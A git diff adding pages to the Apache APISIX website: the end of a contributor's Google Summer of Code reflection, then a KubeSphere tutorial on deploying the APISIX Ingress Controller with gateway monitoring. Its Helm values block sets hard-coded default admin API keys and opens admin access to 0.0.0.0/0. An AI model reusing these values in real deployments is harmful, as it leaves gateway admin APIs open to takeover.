+<p>While I was working on the website, I noticed that it was lacking on a lot of fronts and there was a wide gap between features that Apache APISIX provides and what was presented on the website. I discussed this with Zhiyuan and he agreed with my opinion. As <a href="https://summerofcode.withgoogle.com/archive/">Google Summer of Code</a> was near, I proposed that I work on this project under this program. We both discussed this thoroughly and agreed on it. Through this project I met <a [...]
+<p><img src="https://static.apiseven.com/202108/1637932868348-92a9ab4c-f5ef-4141-b026-3fec13a2e3dc.png" alt="image"></p>
+<p>Being able to help the organisation by increasing its reach and improving its branding was a great experience for me. This has taken my experience at Apache APISIX to the next stage where I actively contribute to the organisation in areas of UX Engineering (UX Design + Frontend engineering), product and growth. My efforts being recognised and getting voted for a member and committer truly inspires me and I hope to do more on and on :)</p>
+<h2 id="summarizing">Summarizing</h2>
+<p>Lastly, for all the students or people starting out in OSS, my one piece of advice would be to try to love what you do and think more in terms of creating products. Why ? because to be able to create something that can be usable and useful for others, is I believe the main idea behind the existence of OSS. <strong>Explore and find what you like and then obsess over it</strong>.</p>
+<p>Thanks for reading along and your time.</p>
+<blockquote>
+<p>Shivam Singh<br>
+<a href="mailto:singhsh@apache.org">Mail</a>, <a href="https://github.com/1502shivam-singh/">GitHub</a>, <a href="https://twitter.com/Shivam15_">Twitter</a></p>
+</blockquote> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a [...]
\ No newline at end of file
diff --git a/blog/2021/11/30/use-apisix-ingress-in-kubesphere/index.html b/blog/2021/11/30/use-apisix-ingress-in-kubesphere/index.html
new file mode 100644
index 00000000000..382242b527e
--- /dev/null
+++ b/blog/2021/11/30/use-apisix-ingress-in-kubesphere/index.html
@@ -0,0 +1,328 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX Ingress with KubeSphere Monitoring | Apache APISIX</title><meta name="description" content="Deploy APISIX Ingress Controller in KubeSphere with built-in monitoring. Configure cluster and project gateways step by step."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/11/30/use-apisix-ingress [...]
+<p>This article will take Apache APISIX Ingress Controller as an example to show you in detail how to quickly use different types of gateways and status monitoring for Kubernetes clusters through KubeSphere.</p>
+</blockquote>
+<!--truncate-->
+<p>In early November, KubeSphere released version 3.2.0, which added a full set of monitoring and management pages for project gateways, and introduced cluster gateways to provide global Ingress gateway capabilities at the cluster level.</p>
+<p>To help users better understand how to deploy and use third-party Ingress Controllers in the new version of KubeSphere, this article will use the <a href="https://apisix.apache.org/docs/ingress-controller/getting-started/">Apache APISIX Ingress Controller</a> as an example to show you how to quickly use different types of gateways for Kubernetes clusters with KubeSphere and perform status monitoring.</p>
+<h2 id="preparation">Preparation</h2>
+<h3 id="installing-kubesphere">Installing KubeSphere</h3>
+<p>There are two ways to install KubeSphere.</p>
+<ol>
+<li>Install directly on <a href="https://kubesphere.com.cn/docs/quick-start/all-in-one-on-linux/">Linux</a></li>
+<li>Install on <a href="https://kubesphere.com.cn/docs/quick-start/minimal-kubesphere-on-k8s/">existing Kubernetes</a></li>
+</ol>
+<p>The monitoring module is already included in the minimal installation of KubeSphere, so there is no need to enable it additionally, and you can confirm the installation status via the Monitoring tab on the System Components page.</p>
+<p><img src="https://static.apiseven.com/202108/1638255471644-e1327ffc-dbed-4890-a15c-819f28731fc9.png" alt="Confirm installation status"></p>
+<h3 id="deploying-the-httpbin-demo-application">Deploying the httpbin demo application</h3>
+<p>Since we need to demonstrate the access control capabilities of the gateway, we must first have an accessible application as a backend service for the gateway. Here we use the <a href="https://hub.docker.com/r/kennethreitz/httpbin/">kennethreitz/httpbin</a> container application provided by <a href="httpbin.org">httpbin.org</a> as our demo application.</p>
+<p>In KubeSphere, we can either create a new project or use an existing one. After entering the project page, select “Services” under “Application Loads” to directly create a stateless workload and generate a companion service.</p>
+<p><img src="https://static.apiseven.com/202108/1638255616585-b0f5a674-f06a-4b18-baf9-8d6006abeead.png" alt="Create a Service"></p>
+<p>Use the default port <code>80</code> of the <a href="https://hub.docker.com/r/kennethreitz/httpbin/">kennethreitz/httpbin</a> container as the service port, and make sure you can see the corresponding entry for <code>httpbin</code> under both the Workloads and Services pages after creation, as shown in the following image.</p>
+<p><img src="https://static.apiseven.com/202108/1638255786442-924bf704-9b9d-413f-9fc0-be6650a6ff4a.png" alt="Service"></p>
+<p><img src="https://static.apiseven.com/202108/1638255792974-7f354950-e34a-427a-9ff7-aa3af0a56dd6.png" alt="Workload"></p>
+<h3 id="additional-project-gateway-details">Additional Project Gateway Details</h3>
+<p>The <strong>Project Gateway</strong> is a feature that has been live since KubeSphere 3.0. The Gateway in the KubeSphere Project is an NGINX Ingress controller. The mechanism built into KubeSphere for HTTP load balancing is called <strong>Application Routing</strong>, which defines the rules for connecting from the outside to the clustered service. To allow access to services from the outside, users can create routing resources to define URI paths, back-end service names, and other in [...]
+<p>Following the <code>httpbin</code> service project deployed above, open the Gateway Settings page in Project Settings and perform the “Enable Gateway” operation. For convenience, just select <code>NodePort</code> as the “Access Method”.</p>
+<p><img src="https://static.apiseven.com/202108/1638256005754-d1e8bf9a-0ecc-4c6e-8ceb-0c25b04fef20.png" alt="Project setting"></p>
+<p>After complete the above operation, go back to the Gateway page, wait for a moment and refresh the page, you can get the deployment completion status as shown below, where you can see that NodePort is given two node ports by default. Next, we use the “Manage” button in the upper right corner to “View Details”.</p>
+<p><img src="https://static.apiseven.com/202108/1638256011357-960f6852-31b3-4702-8911-17d07ec19d7b.png" alt="Deployment complete"></p>
+<p>At this point we are looking at the new monitoring page for the project/cluster gateway in version 3.2.0. Next we need to create an application route for the httpbin service.</p>
+<p>Go to the Application Routing page from Application Load and start “creating” the route. After naming the route <code>httpbin</code>, we specify a domain name for testing purposes and set the “path” to <code>/</code>, select “service” <code>httpbin</code> and “port” <code>80</code>.</p>
+<p><img src="https://static.apiseven.com/202108/1638241684770-ce94fe24-58a6-4b9b-9507-d802713b4c38.png" alt="Apply routin"></p>
+<p><img src="https://static.apiseven.com/202108/1638241689985-149fc2f7-456b-423c-8cfc-00800dc24917.png" alt="Create route"></p>
+<p>After skipping the advanced settings in the next step, the route creation is completed and you can get the <code>httpbin</code> application route entry as shown in the figure below.</p>
+<p><img src="https://static.apiseven.com/202108/1638256382273-109728eb-4d19-4c2b-ab92-9a2909c3eff8.png" alt="Route creation"></p>
+<p>Next, we can access the httpbin application service through the NodePort address of the project gateway and the specified domain name (e.g., <a href="http://httpbin.ui:32516">http://httpbin.ui:32516</a> here), refresh or manipulate the request generation function of the page at will, and then enter the details page of the gateway, you can see that the “Monitoring” panel has appeared some built-in monitoring indicators.</p>
+<p><img src="https://static.apiseven.com/202108/1638256419345-48476f01-b293-401b-9e4f-8bf64a9fab90.png" alt="Generation function"></p>
+<h4 id="specifying-the-nodeport-node-port">Specifying the NodePort Node Port</h4>
+<p>For public cloud environments that use NodePort to expose access to the outside world, the open ports are usually limited and controlled, so we need to modify the NodePort used by the gateway.</p>
+<p>Since the gateway is managed by KubeSphere, to modify the NodePort of the gateway service, you need to have access to the <code>kubesphere-controls-system</code> project. Once inside the project, you can find the gateway service named <code>kubesphere-router-<project-namespace></code> on the “Services” page under “Application Load”, and the NodePort is open for external access.</p>
+<p><img src="https://static.apiseven.com/202108/1638256523468-408ee36f-aac7-4bb4-9cd3-2473a95a52f4.png" alt="Application Load"></p>
+<h2 id="getting-started-with-clustered-gateways">Getting Started with Clustered Gateways</h2>
+<blockquote>
+<p>KubeSphere 3.2.0 supports global gateways at the cluster level, so all projects can share the same gateway, and previously created project gateways are not affected by the cluster gateway. Gateways for all projects can be managed and configured centrally, eliminating the need to switch to a different enterprise space to configure gateways.</p>
+</blockquote>
+<p>If you are using KubeSphere version 3.2.0, we recommend using the cluster gateway feature to unify the application routing across the cluster. To enable the cluster gateway, it’s very simple: use an account with cluster management privileges to access one of the clusters you can manage (e.g. default cluster here), and under “Gateway Settings” in “Cluster Settings”, you can “Enable Gateway” and view the “Project Gateway”.</p>
+<p><img src="https://static.apiseven.com/202108/1638256574546-920473f3-e8ac-4cf9-932b-4202888e7a54.png" alt="Project gateway"></p>
+<p>The way the cluster gateway is opened and the modification of the aligned NodePort access port are basically the same as the previous project gateway, so we won’t go into details here.</p>
+<p>However, there is one point that needs special attention: after the cluster gateway is opened, the gateway of the project that has been opened will remain; however, the project that has not yet created a gateway cannot create a separate gateway, and will use the cluster gateway directly.</p>
+<p>The following figure shows the overview of all gateways in the “Gateway Settings” page for projects that have already created gateways, after having both project and cluster gateways.</p>
+<p><img src="https://static.apiseven.com/202108/1638256658706-ac5107fe-2fd7-4521-b830-9ae1fdf762e1.png" alt="Gateway setting"></p>
+<h2 id="a-quick-look-at-apache-apisix-ingress-controller">A Quick Look at Apache APISIX Ingress Controller</h2>
+<p>Apache APISIX is an open source, high-performance, dynamic cloud-native gateway donated to the Apache Foundation by Shenzhen Tributary Technology Co. in 2019, and is now the top open source project of the Apache Foundation and the most active gateway project on GitHub.Apache APISIX currently covers API gateways, LB Kubernetes Ingress, Service Mesh, and many other scenarios.</p>
+<h3 id="how-to-deploy">How to deploy</h3>
+<p>First add the Apache APISIX Helm Chart repository. After that, select an enterprise space and add the following <a href="https://charts.apiseven.com">Apache APISIX repository</a> via “Application Repository” under “Application Management”.</p>
+<p><img src="https://static.apiseven.com/202108/1638256788584-dca2d21b-3ffc-4bb4-bd73-56dedb6d005a.png" alt="Application repository"></p>
+<p>Next, create a project named <code>apisix-system</code>. Once you are on the project page, select the Create an Application in Application Load method to deploy Apache APISIX, and select the <code>apisix</code> application template to start the deployment.</p>
+<p><img src="https://static.apiseven.com/202108/1638241691528-80090ab6-85de-401f-96d7-58118b3cbd88.png" alt="start the deployment"></p>
+<blockquote>
+<p>Why deploy the Apache APISIX application Helm Chart directly instead of deploying the Apache APISIX Ingress Controller directly?</p>
+</blockquote>
+<p>This is because the Apache APISIX Ingress Controller is currently strongly associated with the Apache APISIX Gateway (as shown in the figure below), and it is currently most convenient to deploy Apache APISIX Gateway + Dashboard + Ingress Controller through Apache APISIX Helm Charts at the same time. Ingress Controller is the most convenient, so this article recommends using Apache APISIX Helm Charts directly for the deployment of the whole set of components.</p>
+<p><img src="https://static.apiseven.com/202108/1638241693072-9b3146f5-bcc6-4441-b002-f1a07603a8c4.png" alt="Why use APISIX gateway"></p>
+<p>Name the application apisix to avoid mismatches between workloads and service names of multiple components (Gateway, Dashboard, Ingress Controller); in the “Application Settings” section edited in the installation steps, please fill in the following configuration (please pay special attention to the notes marked with [Note], the rest (The rest can be edited and modified by yourself as needed).</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">global</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> imagePullSecrets</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"><span style="color:#E6EDF3"> </span></span>
+<span class="line"><span style="color:#7EE787">apisix</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> customLuaSharedDicts</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"><span style="color:#7EE787"> image</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> repository</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apache/apisix</span></span>
+<span class="line"><span style="color:#7EE787"> pullPolicy</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">IfNotPresent</span></span>
+<span class="line"><span style="color:#7EE787"> tag</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">2.10.1-alpine</span></span>
+<span class="line"><span style="color:#7EE787"> replicaCount</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#7EE787"> podAnnotations</span><span style="color:#E6EDF3">: {}</span></span>
+<span class="line"><span style="color:#7EE787"> podSecurityContext</span><span style="color:#E6EDF3">: {}</span></span>
+<span class="line"><span style="color:#7EE787"> securityContext</span><span style="color:#E6EDF3">: {}</span></span>
+<span class="line"><span style="color:#7EE787"> resources</span><span style="color:#E6EDF3">: {}</span></span>
+<span class="line"><span style="color:#7EE787"> nodeSelector</span><span style="color:#E6EDF3">: {}</span></span>
+<span class="line"><span style="color:#7EE787"> tolerations</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"><span style="color:#7EE787"> affinity</span><span style="color:#E6EDF3">: {}</span></span>
+<span class="line"><span style="color:#7EE787"> podAntiAffinity</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">nameOverride</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787">fullnameOverride</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">gateway</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">NodePort</span></span>
+<span class="line"><span style="color:#7EE787"> externalTrafficPolicy</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">Cluster</span></span>
+<span class="line"><span style="color:#7EE787"> http</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> servicePort</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">80</span></span>
+<span class="line"><span style="color:#7EE787"> containerPort</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">9080</span></span>
+<span class="line"><span style="color:#7EE787"> tls</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"><span style="color:#7EE787"> servicePort</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">443</span></span>
+<span class="line"><span style="color:#7EE787"> containerPort</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">9443</span></span>
+<span class="line"><span style="color:#7EE787"> existingCASecret</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> certCAFilename</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> http2</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> stream</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"><span style="color:#7EE787"> only</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"><span style="color:#7EE787"> tcp</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"><span style="color:#7EE787"> udp</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"><span style="color:#7EE787"> ingress</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"><span style="color:#7EE787"> annotations</span><span style="color:#E6EDF3">: {}</span></span>
+<span class="line"><span style="color:#7EE787"> hosts</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">host</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix.local</span></span>
+<span class="line"><span style="color:#7EE787"> paths</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"><span style="color:#7EE787"> tls</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">admin</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ClusterIP</span></span>
+<span class="line"><span style="color:#7EE787"> externalIPs</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"><span style="color:#7EE787"> port</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">9180</span></span>
+<span class="line"><span style="color:#7EE787"> servicePort</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">9180</span></span>
+<span class="line"><span style="color:#7EE787"> cors</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> credentials</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> admin</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">edd1c9f034335f136f87ad84b625c8f1</span></span>
+<span class="line"><span style="color:#7EE787"> viewer</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">4054f7cf07e344346cd3f287985e76a2</span></span>
+<span class="line"><span style="color:#7EE787"> allow</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> ipList</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">0.0.0.0/0</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">api-breaker</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">authz-keycloak</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">basic-auth</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">batch-requests</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">consumer-restriction</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">cors</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">echo</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">fault-injection</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">grpc-transcode</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">hmac-auth</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">http-logger</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">ip-restriction</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">ua-restriction</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">jwt-auth</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">kafka-logger</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">key-auth</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">limit-conn</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">limit-count</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">limit-req</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">node-status</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">openid-connect</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">authz-casbin</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">prometheus</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">proxy-cache</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">proxy-mirror</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">proxy-rewrite</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">redirect</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">referer-restriction</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">request-id</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">request-validation</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">response-rewrite</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">serverless-post-function</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">serverless-pre-function</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">sls-logger</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">syslog</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">tcp-logger</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">udp-logger</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">uri-blocker</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">wolf-rbac</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">zipkin</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">traffic-split</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">gzip</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">real-ip</span></span>
+<span class="line"><span style="color:#8B949E"> # [note] add this plug-in to cooperate with Dashboard to display service information</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">server-info</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">stream_plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">mqtt-proxy</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">ip-restriction</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">limit-conn</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">customPlugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> luaPath</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">/opts/custom_plugins/?.lua</span></span>
+<span class="line"><span style="color:#8B949E"> # [note] the following configuration ensures that the Prometheus plug-in can expose indicators to the outside world.</span></span>
+<span class="line"><span style="color:#7EE787"> plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">prometheus</span></span>
+<span class="line"><span style="color:#7EE787"> attrs</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> export_addr</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> ip</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">0.0.0.0</span></span>
+<span class="line"><span style="color:#7EE787"> port</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">9091</span></span>
+<span class="line"><span style="color:#7EE787"> configMap</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">prometheus</span></span>
+<span class="line"><span style="color:#7EE787"> mounts</span><span style="color:#E6EDF3">: []</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">dns</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> resolvers</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#79C0FF">127.0.0.1</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#79C0FF">172.20.0.10</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#79C0FF">114.114.114.114</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#79C0FF">223.5.5.5</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#79C0FF">1.1.1.1</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#79C0FF">8.8.8.8</span></span>
+<span class="line"><span style="color:#7EE787"> validity</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">30</span></span>
+<span class="line"><span style="color:#7EE787"> timeout</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">5</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">autoscaling</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"><span style="color:#7EE787"> minReplicas</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#7EE787"> maxReplicas</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">100</span></span>
+<span class="line"><span style="color:#7EE787"> targetCPUUtilizationPercentage</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">80</span></span>
+<span class="line"><span style="color:#7EE787"> targetMemoryUtilizationPercentage</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">80</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">configurationSnippet</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> main</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> httpStart</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> httpEnd</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> httpSrv</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> httpAdmin</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> stream</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">etcd</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> host</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">'http://etcd.host:2379'</span></span>
+<span class="line"><span style="color:#7EE787"> prefix</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">/apisix</span></span>
+<span class="line"><span style="color:#7EE787"> timeout</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">30</span></span>
+<span class="line"><span style="color:#7EE787"> auth</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> rbac</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"><span style="color:#7EE787"> user</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> password</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> tls</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"><span style="color:#7EE787"> existingSecret</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> certFilename</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> certKeyFilename</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">''</span></span>
+<span class="line"><span style="color:#7EE787"> verify</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> service</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> port</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">2379</span></span>
+<span class="line"><span style="color:#7EE787"> replicaCount</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">3</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">dashboard</span><span style="color:#E6EDF3">:</span></span>
